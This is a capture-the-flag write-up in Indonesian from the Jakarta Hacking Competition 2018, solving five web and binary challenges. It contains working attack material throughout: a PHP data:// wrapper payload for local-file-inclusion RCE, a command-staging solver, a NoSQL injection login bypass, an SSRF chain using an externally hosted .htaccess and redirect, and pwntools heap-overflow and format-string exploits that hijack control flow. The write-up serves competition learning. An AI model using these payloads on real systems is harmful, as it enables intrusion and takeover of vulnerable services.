TOP SECRET

Jakarta Hacking Competition 2018

Nama Tim : RevID.CTF
Ketua Tim :
1. Muh. Fani Akbar

Anggota Tim:
1. Bayu Fedra Abdullah
2. Muhammad Alifa Ramdhan

Soal 1 : One Line LFI Challenge

Diberikan soal web http://203.34.119.238:50002 dengan source :

```
  <?php
if(!isset($_GET['file'])){
    die(show_source(__FILE__));
}else{
```

```
$file = $_GET['file'] .".php";

if(strpos($file, "ftp") !== False){ die('No Cheat!');}
if(strpos($file, "http") !== False){ die('Hmmm No Cheat!');}
if(strpos($file, "https") !== False){ die('No Fucking Cheat!');}

include($file);

}
```

Script yang kami gunakan untuk generate payload

```
<?php
$head = "data://text/plain;base64,";
$payload = base64_encode("<?php echo `ls -la`; die(); ?>");
echo $head . urlencode($payload);
```

Outpu rce

```
$ php payload.php
data://text/plain;base64,PD9waHAgZWNobyBgbHMgLWxhYDsgZGllKCk7ID8%2B
$ curl "http://203.34.119.238:50002/?file=data://text/plain;base64,PD9waHAgZWNobyBgbHMgLWxhYDsgZGllKCk7ID8%2B"
 total 20
drwxr-xr-x 2 root root 4096 Dec  6 01:51 .
drwxr-xr-x 3 root root 4096 Apr 14  2018 ..
-rw-r--r-- 1 root root   48 Dec  6 01:02 D0NTOP3NTHISF1LECAUS3TH1SISAFL4GGGGGG
-rw-r--r-- 1 root root   22 Dec  6 00:29 anu.php
-rw-r--r-- 1 root root  307 Dec  5 23:44 index.php
```

Lalu kami akses `D0NTOP3NTHISF1LECAUS3TH1SISAFL4GGGGGG` dan didapatkan flag nya.

Flag : JHack2018{One_Line_LFI_CHallenge_But_So_Tricky}

Soal 2 : Output??

Diberikan soal web dengan source :

```
<?php
$sandbox = dirname(__FILE__) . '/'  .md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
copy(dirname(__FILE__) . '/' . ".htflag",  $sandbox . "/.htflagsandboxzazsdmno");
@chmod($sandbox);
@chdir($sandbox);
if (isset($_GET['reset'])) die(exec('/bin/rm -rf ' . $sandbox));
$command = substr(urldecode(trim(file_get_contents('php://input'))), 1, 10);
if (strpos($command, '*') !== false) die("* di blacklist om");
@exec($command);
highlight_file(__FILE__);
```

Soal tersebut mirip soal hitcon ctf 2017, kami memodifikasi script solver dari salah satu write up : https://kimtruth.github.io/2017/11/06/HITCON-CTF-2017-BabyFirst-Revenge-172-pts/

script yang kami gunakan

```
import requests
import socket
import struct
import hashlib

def cmd_req(t):
    url = 'http://128.199.92.132/jjj/index.php'
    requests.post(url,data={"" : t}).content
    print url

ip = requests.get('https://ipapi.co/ip/').text
requests.get('http://128.199.92.132/jjj/index.php?reset=1')

cmd = 'cat `find` > flag'
print cmd
for ch in cmd:
    if not ch.isalpha():
        cmd_req('>\\{}\\'.format(ch))
    else:
        cmd_req('>{}\\\\'.format(ch))
    cmd_req('ls>>\\')
    cmd_req('rm ??')
cmd_req('sh \\\\')
ip_md5 = hashlib.md5(ip).hexdigest()
print requests.get("http://128.199.92.132/jjj/{}/flag".format(ip_md5)).content
```

Flag : JHack2018{Next_Level_Exec}

Soal 3 : Picture

Diberikan sebuah web http://203.34.119.238:50003/.

Web tersebut membutuhkan login, kami menggunakan noSQl Injection dengan payload `u[$ne]=&p[$ne]=`

Setelah login akan tampil form url yang akan di parser, kami menduga itu adalah `SSRF`.

kami menggunakan .htaccess agar jpg di eksekusi sebagai php

```
AddType application/x-httpd-php .jpg
```

isi x.jpg untuk membaca index.php

```
<?php
header("Location: php://filter/convert.base64-encode/resource=index.php");
```

kammi akses menggunakan curl

```
curl 'http://203.34.119.238:50003/' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63
.0) Gecko/20100101 Firefox/63.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.
9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Referer: http://203.34.119.238
:50003/' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' -H 'Coo
kie: PHPSESSID=trhabt25e4d73h8eg365rfcq86' -H 'Upgrade-Insecure-Requests: 1' --data 'url=http%3A%
2F%2Fec2.rhama.my.id%2Ftest%2Fx.jpg'
```

```
echo "PD9waHAKLy8gVEhFIEZMQUcgSVM6IHNha2puY2RranN2Ym5ka3NqYnZrOTAwaXNhamRiYXNramRBU0Rhc2QKc2Vzc2l
vbl9zdGFydCgpOwppZighaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKXsKCWhlYWRlcigiTE9DQVRJT046IGxvZ2luLnBocCIp
OwoJZXhpdDsKfQoKaWYoaXNzZXQoJF9HRVRbJ2QnXSkpewoJc2Vzc2lvbl9kZXN0cm95KCk7CgloZWFkZXIoImxvY2F0aW9uO
iBpbmRleC5waHAiKTsKCWV4aXQ7Cn0KCmZ1bmN0aW9uIGdldEZpbmFsVVJMKCR1cmwpIHsKICAgIGZpbGVfZ2V0X2NvbnRlbn
RzKCR1cmwpOwogICAgaWYgKGlzc2V0KCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpIHsKICAgICAgICAgICAgJGh0dHBfcmVzcG9uc2VfaGVhZGVyID0gJGh0dHBfcmVzcG9uc2VfaGVhZGVyOwogICAgICAgICAgICBmb3JlYWNoICgkaHR0cF9yZXNwb25zZV9oZWFkZXIgYXMgJGhlYWRlcikgewogICAgICAgICAgICAgICAgaWYgKHN0cmlzdHIoJGhlYWRlciwgJ0xvY2F0aW9uOicpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHVybCA9IHRyaW0oc3Vic3RyKCR1cmwsIDkpKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJGh0dHBfcmVzcG9uc2UgPSAkaHR0cF9yZXNwb25zZV9oZWFkZXI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkdXJsOwp9CgppZighaXNzZXQoJF9QT1NUWyd1cmwnXSkpIHsKICAgIGRpZSgiTm8gVVJMIik7Cn0KCiR1cmwgPSBnZXRGaW5hbFVSTCgkX1BPU1RbJ3VybCddKTsKCmlmKCR1cmwgPT09IGZhbHNlKSB7CiAgICBkaWUoIkludmFsaWQgVVJMIik7Cn0KCiRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwoKaWYoJGNvbnRlbnRzID09PSBmYWxzZSkgewogICAgZGllKCJGYWlsZWQgdG8gZmV0Y2ggVVJMIik7Cn0KCmVjaG8gJGNvbnRlbnRzOwo=" | base64 -d
<?php
// THE FLAG IS: sakjncdkjsvbndksjbvk900isajdbaskjdASDasd
session_start();
..........
```

```
// THE FLAG IS: sakjncdkjsvbndksjbvk900isajdbaskjdASDasd
```

kami akses `sakjncdkjsvbndksjbvk900isajdbaskjdASDasd`

Setelah di akses akan mendapatkan flag

Flag : JHack2018{SSSSSSSSSSSSSSSSSSRF}

Soal 4 : Kelas Jhack Versi 2

Bug terdapat pada saat program mengedit murid, disini terdapat bug `buffer overflow` pada `heap`.

Bug ini bisa kita manfaatkan untuk mengoverwrite data2 pada heap, sehingga dapat mengoverwrite struktur2 murid yang lain pada heap.
Disini kami mengoverwrite element yang menyimpan string nama,
ketika sudah mengontrolnya kita bisa mengarahkan alamatnya ke alamat lain yang kita inginkan,

dan kita dapat menggunakan fitur edit-nama lagi untuk mengoverwrite alamat yang kita inginkan tadi dengan nilai yang kita inginkan,

dan kita juga dapat meleak alamat memory manapun dengan menggunakan fitur print single student (ini kita manfaatkan untuk menghitung address untuk membypass aslr).

Dibawah ini adalah exploit yang kami gunakan.

```
from pwn import *

p = remote("203.34.119.238", 30000)
elf = ELF('./main', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

atoi_got = elf.got['atoi']

p.sendlineafter('> ', '2')
p.sendlineafter(': ', "A"*8)
p.sendlineafter(': ', '20')
p.sendlineafter('> ', '2')
p.sendlineafter(': ', "B"*8)
p.sendlineafter(': ', '20')
p.sendlineafter('> ', '4')
p.sendlineafter(': ', '0')
p.sendlineafter(': ', "A"*80 + p64(atoi_got))
p.sendlineafter(': ', '20')
p.sendlineafter('> ', '5')
p.sendlineafter(': ', str(1))
p.recvuntil(":")
nama = p.recvuntil("\n  No. Absen : ", drop=True).strip()
no_absen = p.recvuntil("\n==", drop=True).strip()
atoi_libc = u64(nama.ljust(8, '\x00')) # Leak data at atoi.got.plt
libc.address = atoi_libc - libc.symbols['atoi']
system = libc.symbols['system']
p.sendlineafter('> ', '4')
p.sendlineafter(': ', '1')
p.sendlineafter(': ', p64(system))
p.sendlineafter(': ', '30')
p.interactive()
```

Flag : JHack2018{4834cebc43258438beade3cd7801a119}

Soal 5 : Print it

Terdapat bug format string pada program ini, untuk mengexploitnya sedikit lebih sulit dari format string pada umumnya karena data
disimpan di `heap` bukan di `stack`, jadi kita tidak bisa mengontrol argumen untuk fungsi `printf`.

Disini kami memanfaatkan nilai yang telah ada didalam stack (saat fungsi printf dipanggil), nilai ini berisi alamat stack dimana alamat stack ini akan berisi alamat stack lain.

```
Seperti ini gambaran stacknya.
// Anggap esp = 0xffffca70
+-----------------------------------+
|  Address   | Relative |    Value   |
```

```
+------------+----------+------------+
| 0xffffca84 | esp+0x14 | 0xffffcb44 |
|     ...    |    ...   |            |
| 0xffffcb44 | esp+0xd4 | 0xffffcd54 |
| ...        | ...      | ...        |
+------------+----------+------------+
```

Dengan kondisi diatas kita dapat mengoverwrite nilai pada alamat `0xffffcb44` dengan alamat return address,

dan ketika alamat 0xffffcb44 sudah berisi alamat return address,

kita dapat mengoverwrite return address dengan mengirim formatter `%xx$n` dimana xx adalah nilai yang mewakili di argumen ke berapa nilai alamat return address berada dalam hal ini alamat return address ada di alamat `0xffffdb44`.

Exploit:

```
from pwn import *

p = remote("203.34.119.238", 30001)
elf = ELF('./main')
check_secret_backdoor_31337 = elf.symbols['check_secret_backdoor_31337']

def write32(n, offset):
    p.sendline("%{}x%{}$hn".format(n, offset / 4))
    return

p.sendline('%9$p|%17$p')
old_ebp = int(p.recvuntil('|', drop=True), 16)
esp = old_ebp - 64
print(hex(esp))
return_address = esp + 60
addr = int(p.recvline(), 16)
print(hex(addr))
offset = (addr - esp)
write32(return_address & 0xffff, 68)
write32(check_secret_backdoor_31337 & 0xffff, offset)
write32((return_address + 2) & 0xffff, 68)
write32(check_secret_backdoor_31337 >> 16, offset)
p.sendline("exit") # Exit
p.interactive()
```

Flag : JHack2018{b1965f8edd48b2bd857a7b556463d743}